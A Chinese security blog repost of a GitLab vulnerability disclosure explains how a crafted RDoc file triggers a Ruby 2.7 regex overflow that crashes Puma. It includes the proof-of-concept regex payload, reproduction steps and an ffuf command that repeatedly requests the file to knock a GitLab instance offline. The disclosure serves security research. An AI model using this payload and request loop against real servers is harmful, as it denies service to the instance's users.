gitlab漏洞系列-包含特殊正则的RDoc文件可以让puma崩溃

admin 2025年1月13日19:19:36评论3 views字数 1119阅读3分43秒阅读模式
  • 背景

  • 复现步骤

  • 影响

  • 例子

gitlab漏洞系列-包含特殊正则的RDoc文件可以让puma崩溃

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景

vakzz于2021年12月提交了这个漏洞:

ruby中的缓冲区溢出漏洞影响着ruby 2.7版本;在编译某些正则表达式时可能导致分段错误和崩溃。

通常情况下,用户没有办法指定他们自己的正则表达式来编译,但当渲染rdoc文件时,有一个检查,看看一个文本块是否有效的ruby:

https://github.com/ruby/rdoc/blob/master/lib/rdoc/markup/to_html.rb#L427

  ##  
# Returns true if text is valid ruby syntax

def parseable? text
verbose, $VERBOSE = $VERBOSE, nil
eval("BEGIN {return true}n#{text}")
rescue SyntaxError
false
ensure
$VERBOSE = verbose
end

由于正则表达式是在这个阶段编译的,使用下面的readme.rdoc可能会触发堆栈溢出:

code:  
/(())(?<X>)((?(2147483647)))/

复现步骤

1.创建一个新项目

2.新建文件aaa.rdoc,包含以下内容:

code:  
/(())(?<X>)((?(2147483647)))/

3.提交并尝试查看该文件

4.加载查看器(viewer)时将出现一个错误,对富版本的请求将返回502,因为puma已经崩溃

影响

恶意的rdoc可能会导致puma在渲染时崩溃。用户可以不断地请求url,不断地使所有puma进程崩溃,并拒绝访问gitlab实例。例如,以每秒1个请求的速度运行下面的ffuf就足以让我的虚拟机崩溃,并阻止任何合法的请求:

ffuf -u 'http://localhost:8888/root/crash/-/blob/main/aaa.rdoc?format=json&viewer=rich&FUZZ' -w /usr/share/dict/words -rate 1 -t 5

例子

POC仓库:

https://gitlab.com/vakzz-h1/rdoc-crash/

崩溃的例子:

https://gitlab.com/vakzz-h1/rdoc-crash/-/blob/main/aaa.rdoc?format=json&viewer=rich

原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-包含特殊正则的RDoc文件可以让puma崩溃

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日19:19:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   gitlab漏洞系列-包含特殊正则的RDoc文件可以让puma崩溃https://cn-sec.com/archives/1106181.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息